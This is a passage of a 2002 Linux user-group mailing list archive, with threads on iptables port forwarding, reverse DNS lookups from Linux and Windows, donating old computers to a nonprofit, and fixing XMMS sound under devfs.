http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss | > > | > > ________________________________________________ | > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't | post to the list quickly and you use Netscape to write mail. | > > | > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us | > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss | > > | > | > ________________________________________________ | > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't | post to the list quickly and you use Netscape to write mail. | > | > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us | > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss | > | | ________________________________________________ | See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post | to the list quickly and you use Netscape to write mail. | | PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us | http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss | | | ________________________________________________ | See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. | | PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us | http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Tue Jun 4 22:36:44 2002 From: plug-discuss@lists.plug.phoenix.az.us (der.hans) Date: Tue, 4 Jun 2002 15:36:44 -0700 (MST) Subject: More iptables questions In-Reply-To: <20020604174639.GZTT4796.lakemtao08.cox.net@smtp.central.cox.net> Message-ID: Am 04. Jun, 2002 schwätzte Carl Parrish so: > iptables -A FORWARD -p tcp -i $ext -dport 8081 -j ACCEPT iptables -A FORWARD -p TCP -d $forwip --dport $forwport -j ACCEPT > iptables -t nat -A PREROUTING -s $FIREWALL -dport 8081 -j DNAT --to $WEBSERVER:80 iptablees -A PREROUTING -t nat -p TCP -d $extip --dport $extport -j DNAT --to $forwip:$forwport That's is the format I got from FireStarter. It's working. If you're testing from behind the firewall, then you need to add a rule like: iptables -A POSTROUTING -t nat -s $intnet -o $intif -d $intnet -j MASQUERADE > (syntax may be a little off I'm trying to do this "on the fly") > > do I need to add this to the rules? > > iptables -A INPUT -p tcp -dport 8081 -j ACCEPT I'm not using a rule like that. My example variables use the following: ext == external int == internal forw == where being forwarded to ip == IP addy net == CIDR addy if == interface ciao, der.hans -- # https://www.LuftHans.com/ # When you are tired of choosing the lesser of two evils, # Vote Cthulhu for President! From plug-discuss@lists.plug.phoenix.az.us Tue Jun 4 22:37:55 2002 From: plug-discuss@lists.plug.phoenix.az.us (Sundar) Date: Tue, 04 Jun 2002 15:37:55 -0700 Subject: Reverse DNS lookup References: Message-ID: <3CFD4143.3010903@esaravana.com> Would you guys, by any chance know, how you can do it from Windoze client? Sundar Matt Alexander wrote: >host ip-address > > >On Tue, 4 Jun 2002, Sundar wrote: > >>Hello, >> >>How to do reverse DNS lookup in intranet? I have the ip address and I >>want to get the dns name for the ip address. >> >>Sundar >> >>________________________________________________ >>See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. >> >>PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us >>http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss >> > >________________________________________________ >See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > >PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us >http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > From plug-discuss@lists.plug.phoenix.az.us Tue Jun 4 22:45:58 2002 From: plug-discuss@lists.plug.phoenix.az.us (Matt Alexander) Date: Tue, 4 Jun 2002 15:45:58 -0700 (PDT) Subject: Reverse DNS lookup In-Reply-To: <3CFD4143.3010903@esaravana.com> Message-ID: nslookup ip-address On Tue, 4 Jun 2002, Sundar wrote: > Would you guys, by any chance know, how you can do it from Windoze client? > > Sundar > > Matt Alexander wrote: > > >host ip-address > > > > > >On Tue, 4 Jun 2002, Sundar wrote: > > > >>Hello, > >> > >>How to do reverse DNS lookup in intranet? I have the ip address and I > >>want to get the dns name for the ip address. > >> > >>Sundar > >> > >>________________________________________________ > >>See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > >> > >>PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > >>http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > >> > > > >________________________________________________ > >See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > > >PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > >http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > From plug-discuss@lists.plug.phoenix.az.us Tue Jun 4 22:43:19 2002 From: plug-discuss@lists.plug.phoenix.az.us (Mike) Date: Tue, 4 Jun 2002 17:43:19 -0500 Subject: Old computers available In-Reply-To: ; from mberkwitt@cox.net on Tue, Jun 04, 2002 at 03:20:09PM -0700 References: Message-ID: <20020604174319.A87199@lilly.csoft.net> If Matt's well is dry I will donate 3 of mine for your cause. On Tue, Jun 04, 2002 at 03:20:09PM -0700, Mark Berkwitt wrote: Matt, I could use 4 or 5 for a woman's recovery center in Prescott Arizona. They'd be used for Internet use, creating resumes and individual writing. This center is a licensed nonprofit org which can provide donation receipts. Thanks. -----Original Message----- From: plug-discuss-admin@lists.plug.phoenix.az.us [mailto:plug-discuss-admin@lists.plug.phoenix.az.us]On Behalf Of Matt Alexander Sent: Monday, June 03, 2002 4:37 PM To: plug-discuss@lists.plug.phoenix.az.us Subject: Re: Old computers available On Mon, 3 Jun 2002, Shawn Rutledge wrote: > Sounds OK to me. > > Do they have CD's floppies or anything else interesting? > What kind of video and network cards? Passive heatsinks or > fans? (Interesting for embedded use...) Ah, I forgot to mention that these do not have cdrom drives. Most are missing floppy drives. All have video cards that work with Linux (I'm too lazy to check the exact brand right now) and 10Mb network cards. The CPUs have fans. ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Tue Jun 4 22:48:53 2002 From: plug-discuss@lists.plug.phoenix.az.us (Logan Kennelly) Date: Tue, 4 Jun 2002 15:48:53 -0700 Subject: Reverse DNS lookup In-Reply-To: <3CFD4143.3010903@esaravana.com> References: <3CFD4143.3010903@esaravana.com> Message-ID: <200206041548.53542.voltage_spike@fastmail.fm> On Tuesday 04 June 2002 03:37 pm, Sundar wrote: > Would you guys, by any chance know, how you can do it from Windoze > client? I would reccomend that you download Cygwin (http://www.cygwin.com) and run: host x.x.x.x :-) PS: I am not sure if this program is included with Cygwin. However, you could compile it yourself if it is not. Either way, it is still good advice. -- Logan Kennelly ,,, (. .) --ooO-(_)-Ooo-- From plug-discuss@lists.plug.phoenix.az.us Tue Jun 4 22:33:34 2002 From: plug-discuss@lists.plug.phoenix.az.us (Matt Alexander) Date: Tue, 4 Jun 2002 15:33:34 -0700 (PDT) Subject: Old computers available tomorrow In-Reply-To: Message-ID: I've got 7 more today waiting for some kind soul to make these underappreciated computers important again. On Thursday I'll have about 15 more available. So stop by today before 6pm if you want one, or stop by on Thursday. Thanks, ~M On Tue, 4 Jun 2002, Mark Berkwitt wrote: > I just opened this post. Am I too late? I'm looking for computer donations > to a licenced nonprofit recovery center in Prescott Arizona. It's now > 2:50pm. From plug-discuss@lists.plug.phoenix.az.us Tue Jun 4 22:50:18 2002 From: plug-discuss@lists.plug.phoenix.az.us (Gary Nichols) Date: Tue, 4 Jun 2002 15:50:18 -0700 (MST) Subject: More iptables questions In-Reply-To: <20020604174639.GZTT4796.lakemtao08.cox.net@smtp.central.cox.net> Message-ID: Methods lead to interfaces. Interfaces lead to services. Services *insert dramatic pause* lead to logging. http://www.linux-firewall-tools.com/linux/firewall/ Gary http://www.linuxchimp.com From plug-discuss@lists.plug.phoenix.az.us Tue Jun 4 23:06:15 2002 From: plug-discuss@lists.plug.phoenix.az.us (plug-discuss@lists.plug.phoenix.az.us) Date: Tue, 04 Jun 2002 19:06:15 -0400 Subject: Reverse DNS lookup Message-ID: On Windows the traceroute command is "tracert" and is executed from at DOS or command prompt window. It will show you the domain name of an IP address as it does the DNS lookup as it starts and as it traces. Do the command tracert Alan On Tue, 04 Jun 2002 15:37:55 -0700 Sundar wrote: Would you guys, by any chance know, how you can do it from Windoze client? Sundar Matt Alexander wrote: >host ip-address > > >On Tue, 4 Jun 2002, Sundar wrote: > >>Hello, >> >>How to do reverse DNS lookup in intranet? I have the ip address and I >>want to get the dns name for the ip address. >> >>Sundar >> >>________________________________________________ >>See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. >> >>PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us >>http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss >> > >________________________________________________ >See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > >PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us >http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Tue Jun 4 23:24:49 2002 From: plug-discuss@lists.plug.phoenix.az.us (Gilbert T. Gutierrez, Jr.) Date: Tue, 4 Jun 2002 16:24:49 -0700 Subject: Reverse DNS lookup In-Reply-To: <3CFD4143.3010903@esaravana.com> Message-ID: Depending on what version of windows you have you can use nslookup...The easiest way if you are using 95 or 98 is to do a trace route (tracert IPADDRESS). Trace route does a lookup on the IP address before it attempts to trace. Gilbert -----Original Message----- From: plug-discuss-admin@lists.plug.phoenix.az.us [mailto:plug-discuss-admin@lists.plug.phoenix.az.us]On Behalf Of Sundar Sent: Tuesday, June 04, 2002 3:38 PM To: plug-discuss@lists.plug.phoenix.az.us Subject: Re: Reverse DNS lookup Would you guys, by any chance know, how you can do it from Windoze client? Sundar Matt Alexander wrote: >host ip-address > > >On Tue, 4 Jun 2002, Sundar wrote: > >>Hello, >> >>How to do reverse DNS lookup in intranet? I have the ip address and I >>want to get the dns name for the ip address. >> >>Sundar >> >>________________________________________________ >>See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. >> >>PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us >>http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss >> > >________________________________________________ >See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > >PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us >http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Tue Jun 4 23:18:21 2002 From: plug-discuss@lists.plug.phoenix.az.us (mazdaracer) Date: Tue, 04 Jun 2002 16:18:21 -0700 Subject: sound and XMMS Message-ID: <3CFD4ABD.1671BEF7@earthlink.net> I prefer to use the IceWM due to it's quick interface, at least on startup, and I don't really care about the desktop that much. However, when I try to use XMMS it doesn't always work. I can get it to work sometimes by starting in the KDE or Gnome WM, running XMMS and it's ok. Then I switch back to Ice and XMMS is ok there too. However, after I re-boot, the sound is once again gone from Ice and I have to go thru the same KDE -> Ice to 'see' it again. Anyone had similiar problems? Or is there something better than XMMS? I'd personnally like to get Route66 up, but haven't had the time yet. pete From plug-discuss@lists.plug.phoenix.az.us Tue Jun 4 23:28:35 2002 From: plug-discuss@lists.plug.phoenix.az.us (Larry Lauer) Date: Tue, 4 Jun 2002 16:28:35 -0700 Subject: Reverse DNS lookup Message-ID: <2AAC72149C827944B96C854ABD0BCAFF16B737@azmscorp01.corp.azms> Hi all I am new to the list just moved down from the great white north. :) Hopefully I will be allowed to join some of your meetings. But anyways you may want to check out- http://www.wshscripting.com/view/1101.html Also there are many web based sites that will help you out with this. A quick search on google will provide many sites. -Larry "Linux is user friendly .... its just picky about its friends" -----Original Message----- From: Sundar [mailto:linux@esaravana.com] Sent: Tuesday, June 04, 2002 3:38 PM To: plug-discuss@lists.plug.phoenix.az.us Subject: Re: Reverse DNS lookup Would you guys, by any chance know, how you can do it from Windoze client? Sundar Matt Alexander wrote: >host ip-address > > >On Tue, 4 Jun 2002, Sundar wrote: > >>Hello, >> >>How to do reverse DNS lookup in intranet? I have the ip address and I >>want to get the dns name for the ip address. >> >>Sundar >> >>________________________________________________ >>See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. >> >>PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us >>http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss >> > >________________________________________________ >See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > >PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us >http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Tue Jun 4 23:41:01 2002 From: plug-discuss@lists.plug.phoenix.az.us (Adrian Mink) Date: Tue, 4 Jun 2002 16:41:01 -0700 Subject: Reverse DNS lookup In-Reply-To: Message-ID: <000b01c20c21$498d0d30$0401a8c0@minkland.com> Ping -a ip.address -----Original Message----- From: plug-discuss-admin@lists.plug.phoenix.az.us [mailto:plug-discuss-admin@lists.plug.phoenix.az.us] On Behalf Of Gilbert T. Gutierrez, Jr. Sent: Tuesday, June 04, 2002 4:25 PM To: plug-discuss@lists.plug.phoenix.az.us Subject: RE: Reverse DNS lookup Depending on what version of windows you have you can use nslookup...The easiest way if you are using 95 or 98 is to do a trace route (tracert IPADDRESS). Trace route does a lookup on the IP address before it attempts to trace. Gilbert -----Original Message----- From: plug-discuss-admin@lists.plug.phoenix.az.us [mailto:plug-discuss-admin@lists.plug.phoenix.az.us]On Behalf Of Sundar Sent: Tuesday, June 04, 2002 3:38 PM To: plug-discuss@lists.plug.phoenix.az.us Subject: Re: Reverse DNS lookup Would you guys, by any chance know, how you can do it from Windoze client? Sundar Matt Alexander wrote: >host ip-address > > >On Tue, 4 Jun 2002, Sundar wrote: > >>Hello, >> >>How to do reverse DNS lookup in intranet? I have the ip address and I >>want to get the dns name for the ip address. >> >>Sundar >> >>________________________________________________ >>See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail >>doesn't post to the list quickly and you use Netscape to write mail. >> >>PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us >>http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss >> > >________________________________________________ >See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > >PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us >http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Tue Jun 4 23:37:59 2002 From: plug-discuss@lists.plug.phoenix.az.us (Kevin Brown) Date: Tue, 04 Jun 2002 16:37:59 -0700 Subject: sound and XMMS References: <3CFD4ABD.1671BEF7@earthlink.net> Message-ID: <3CFD4F57.13E69BFC@qwest.net> I use IceWM on my laptop without any problems with sound. What Distro are you using? Under RedHat I did sndconfig and it set up the options and placed then in /etc/modules.conf (or is it now conf.modules). What sound output preferences do you have XMMS set to? mazdaracer wrote: > > I prefer to use the IceWM due to it's quick interface, at least on > startup, and I don't really care about the desktop that much. However, > when I try to use XMMS it doesn't always work. I can get it to work > sometimes by starting in the KDE or Gnome WM, running XMMS and it's ok. > Then I switch back to Ice and XMMS is ok there too. However, after I > re-boot, the sound is once again gone from Ice and I have to go thru the > same KDE -> Ice to 'see' it again. Anyone had similiar problems? Or is > there something better than XMMS? I'd personnally like to get Route66 > up, but haven't had the time yet. > > pete > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Tue Jun 4 23:40:40 2002 From: plug-discuss@lists.plug.phoenix.az.us (Jeff) Date: Tue, 4 Jun 2002 16:40:40 -0700 Subject: Reverse DNS lookup References: Message-ID: <003c01c20c21$3cad4e40$d701870a@jeffbarker> c:>ping /a 123.123.123.123 ----- Original Message ----- From: "Gilbert T. Gutierrez, Jr." To: Sent: Tuesday, June 04, 2002 4:24 PM Subject: RE: Reverse DNS lookup | Depending on what version of windows you have you can use nslookup...The | easiest way if you are using 95 or 98 is to do a trace route (tracert | IPADDRESS). Trace route does a lookup on the IP address before it attempts | to trace. | | Gilbert | | -----Original Message----- | From: plug-discuss-admin@lists.plug.phoenix.az.us | [mailto:plug-discuss-admin@lists.plug.phoenix.az.us]On Behalf Of Sundar | Sent: Tuesday, June 04, 2002 3:38 PM | To: plug-discuss@lists.plug.phoenix.az.us | Subject: Re: Reverse DNS lookup | | | Would you guys, by any chance know, how you can do it from Windoze client? | | Sundar | | Matt Alexander wrote: | | >host ip-address | > | > | >On Tue, 4 Jun 2002, Sundar wrote: | > | >>Hello, | >> | >>How to do reverse DNS lookup in intranet? I have the ip address and I | >>want to get the dns name for the ip address. | >> | >>Sundar | >> | >>________________________________________________ | >>See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't | post to the list quickly and you use Netscape to write mail. | >> | >>PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us | >>http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss | >> | > | >________________________________________________ | >See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't | post to the list quickly and you use Netscape to write mail. | > | >PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us | >http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss | > | | | ________________________________________________ | See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post | to the list quickly and you use Netscape to write mail. | | PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us | http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss | | ________________________________________________ | See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. | | PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us | http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Tue Jun 4 23:43:50 2002 From: plug-discuss@lists.plug.phoenix.az.us (Gorman, John) Date: Tue, 4 Jun 2002 16:43:50 -0700 Subject: Reverse DNS lookup Message-ID: <7BF7F49956D4024D992D94C5BEC7BA1703D87A@phxexh04.pegs.com> Try nslookup and ping -a The ping -a is useful if you want to lookup someone within a LAN because it will resolve the Windows SMB and give you there user id The nslookup that comes with WinNT/Windows2000/WinXP is not as first class as the standard unix kind. John -----Original Message----- From: Sundar [mailto:linux@esaravana.com] Sent: Tuesday, June 04, 2002 3:38 PM To: plug-discuss@lists.plug.phoenix.az.us Subject: Re: Reverse DNS lookup Would you guys, by any chance know, how you can do it from Windoze client? Sundar Matt Alexander wrote: >host ip-address > > >On Tue, 4 Jun 2002, Sundar wrote: > >>Hello, >> >>How to do reverse DNS lookup in intranet? I have the ip address and I >>want to get the dns name for the ip address. >> >>Sundar >> >>________________________________________________ >>See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. >> >>PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us >>http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss >> > >________________________________________________ >See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > >PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us >http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Tue Jun 4 23:55:40 2002 From: plug-discuss@lists.plug.phoenix.az.us (plug-discuss@lists.plug.phoenix.az.us) Date: Tue, 4 Jun 2002 16:55:40 -0700 Subject: sound and XMMS In-Reply-To: <3CFD4ABD.1671BEF7@earthlink.net>; from mazdaracer@earthlink.net on Tue, Jun 04, 2002 at 04:18:21PM -0700 References: <3CFD4ABD.1671BEF7@earthlink.net> Message-ID: <20020604165540.B26600@nadesico> On Tue, Jun 04, 2002 at 04:18:21PM -0700, mazdaracer wrote: > I prefer to use the IceWM due to it's quick interface, at least on > startup, and I don't really care about the desktop that much. However, > when I try to use XMMS it doesn't always work. I can get it to work > sometimes by starting in the KDE or Gnome WM, running XMMS and it's ok. > Then I switch back to Ice and XMMS is ok there too. However, after I > re-boot, the sound is once again gone from Ice and I have to go thru the > same KDE -> Ice to 'see' it again. Anyone had similiar problems? Or is > there something better than XMMS? I'd personnally like to get Route66 > up, but haven't had the time yet. Is esd running when IceWM is running? Also, is XMMS set to use esound as it's output? If so, you'll want to either change it to use the OSS plugin for output, or start esd manually in your .xinitrc file. -- Thomas "Mondoshawan" Tate mondoshawan@tank.dyndns.org http://tank.webhop.org From plug-discuss@lists.plug.phoenix.az.us Tue Jun 4 23:59:04 2002 From: plug-discuss@lists.plug.phoenix.az.us (mazdaracer) Date: Tue, 04 Jun 2002 16:59:04 -0700 Subject: sound and XMMS References: <3CFD4ABD.1671BEF7@earthlink.net> <3CFD4F57.13E69BFC@qwest.net> Message-ID: <3CFD5448.B764FF08@earthlink.net> I too have it dual booted on my laptop and it's ok there. I'm using Mandrake 8.1. In fact, I just tried to go over to KDE (works ok) then back to Ice and it didn't 'fix itself' like it sometimes does. I use the OSS Driver 1.2.5 [libOSS.so] pointing to /dev/dsp as the alternate device; switching to default and trying to play gives me the 3 points of why I can't open the sound. I've got a SB Live audio card. This is interesting: [pete@rotor pete]$ ll /dev/dsp ls: /dev/dsp: No such file or directory [pete@rotor pete]$ ll /dev/d* /dev/discs: total 0 lr-xr-xr-x 1 root root 30 Dec 31 1969 disc0 -> ../ide/host0/bus0/target0/lun0/ /dev/dri: total 0 crw-rw-rw- 1 root root 226, 0 Jun 1 19:56 card0 [pete@rotor pete]$ ll /dev/sound total 0 crw------- 1 pete audio 14, 4 May 24 19:28 audio crw------- 1 pete audio 14, 3 May 24 19:28 dsp crw------- 1 pete audio 14, 19 May 24 19:28 dsp1 crw------- 1 pete audio 14, 5 May 24 19:28 dspW crw------- 1 pete audio 14, 2 May 24 19:28 midi crw------- 1 pete audio 14, 18 May 24 19:28 midi1 crw------- 1 pete audio 14, 0 May 24 19:28 mixer crw------- 1 pete audio 14, 1 May 24 19:28 sequencer crw------- 1 pete audio 14, 8 May 24 19:28 sequencer2 [pete@rotor pete]$ There should be a /dev/dsp entry but clearly none exist. I changed the sound to point to /dev/sound/dsp and now it's ok. This is kind of strange! pete Kevin Brown wrote: > > I use IceWM on my laptop without any problems with sound. What Distro are you > using? Under RedHat I did sndconfig and it set up the options and placed then > in /etc/modules.conf (or is it now conf.modules). What sound output preferences > do you have XMMS set to? > > mazdaracer wrote: > > > > I prefer to use the IceWM due to it's quick interface, at least on > > startup, and I don't really care about the desktop that much. However, > > when I try to use XMMS it doesn't always work. I can get it to work > > sometimes by starting in the KDE or Gnome WM, running XMMS and it's ok. > > Then I switch back to Ice and XMMS is ok there too. However, after I > > re-boot, the sound is once again gone from Ice and I have to go thru the > > same KDE -> Ice to 'see' it again. Anyone had similiar problems? Or is > > there something better than XMMS? I'd personnally like to get Route66 > > up, but haven't had the time yet. > > > > pete > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Wed Jun 5 00:31:19 2002 From: plug-discuss@lists.plug.phoenix.az.us (plug-discuss@lists.plug.phoenix.az.us) Date: Tue, 4 Jun 2002 17:31:19 -0700 Subject: sound and XMMS In-Reply-To: <3CFD5448.B764FF08@earthlink.net>; from mazdaracer@earthlink.net on Tue, Jun 04, 2002 at 04:59:04PM -0700 References: <3CFD4ABD.1671BEF7@earthlink.net> <3CFD4F57.13E69BFC@qwest.net> <3CFD5448.B764FF08@earthlink.net> Message-ID: <20020604173119.A26811@nadesico> On Tue, Jun 04, 2002 at 04:59:04PM -0700, mazdaracer wrote: > I too have it dual booted on my laptop and it's ok there. I'm using > Mandrake 8.1. In fact, I just tried to go over to KDE (works ok) then > back to Ice and it didn't 'fix itself' like it sometimes does. > > I use the OSS Driver 1.2.5 [libOSS.so] pointing to /dev/dsp as the > alternate device; switching to default and trying to play gives me the 3 > points of why I can't open the sound. I've got a SB Live audio card. > > This is interesting: > [pete@rotor pete]$ ll /dev/dsp > ls: /dev/dsp: No such file or directory > [pete@rotor pete]$ ll /dev/d* > /dev/discs: > total 0 > lr-xr-xr-x 1 root root 30 Dec 31 1969 disc0 -> > ../ide/host0/bus0/target0/lun0/ > > /dev/dri: > total 0 > crw-rw-rw- 1 root root 226, 0 Jun 1 19:56 card0 > [pete@rotor pete]$ ll /dev/sound > total 0 > crw------- 1 pete audio 14, 4 May 24 19:28 audio > crw------- 1 pete audio 14, 3 May 24 19:28 dsp > crw------- 1 pete audio 14, 19 May 24 19:28 dsp1 > crw------- 1 pete audio 14, 5 May 24 19:28 dspW > crw------- 1 pete audio 14, 2 May 24 19:28 midi > crw------- 1 pete audio 14, 18 May 24 19:28 midi1 > crw------- 1 pete audio 14, 0 May 24 19:28 mixer > crw------- 1 pete audio 14, 1 May 24 19:28 sequencer > crw------- 1 pete audio 14, 8 May 24 19:28 sequencer2 > [pete@rotor pete]$ > > > There should be a /dev/dsp entry but clearly none exist. I changed the > sound to point to /dev/sound/dsp and now it's ok. This is kind of > strange! Looks like you're using the new and advanced DevFS. It's an alternative to the original flat dev filesystem -- doesn't waste any disk space or inodes on your drive, and device entries are registered and unregistered as modules are loaded/unloaded. Check your /etc/devfsd.conf to make sure that MKOLDCOMPAT is enabled -- normally the devfsd daemon will make symlinks to the old device names (eg: /dev/sound/dsp -> /dev/dsp). More than helpful documentation on devfsd and devfs is available via: less /usr/src/linux/Documentation/filesystems/devfs/README man devfsd man devfsd.conf -- Thomas "Mondoshawan" Tate mondoshawan@tank.dyndns.org http://tank.webhop.org From plug-discuss@lists.plug.phoenix.az.us Wed Jun 5 00:30:31 2002 From: plug-discuss@lists.plug.phoenix.az.us (mazdaracer) Date: Tue, 04 Jun 2002 17:30:31 -0700 Subject: sound and XMMS References: <3CFD4ABD.1671BEF7@earthlink.net> <3CFD4F57.13E69BFC@qwest.net> <3CFD5448.B764FF08@earthlink.net> <20020604173119.A26811@nadesico> Message-ID: <3CFD5BA7.C221AF9@earthlink.net> Thank You!! I did see the link on occasion! It just never seems to have hung around when I wanted it! pete mondoshawan@tank.dyndns.org wrote: > > On Tue, Jun 04, 2002 at 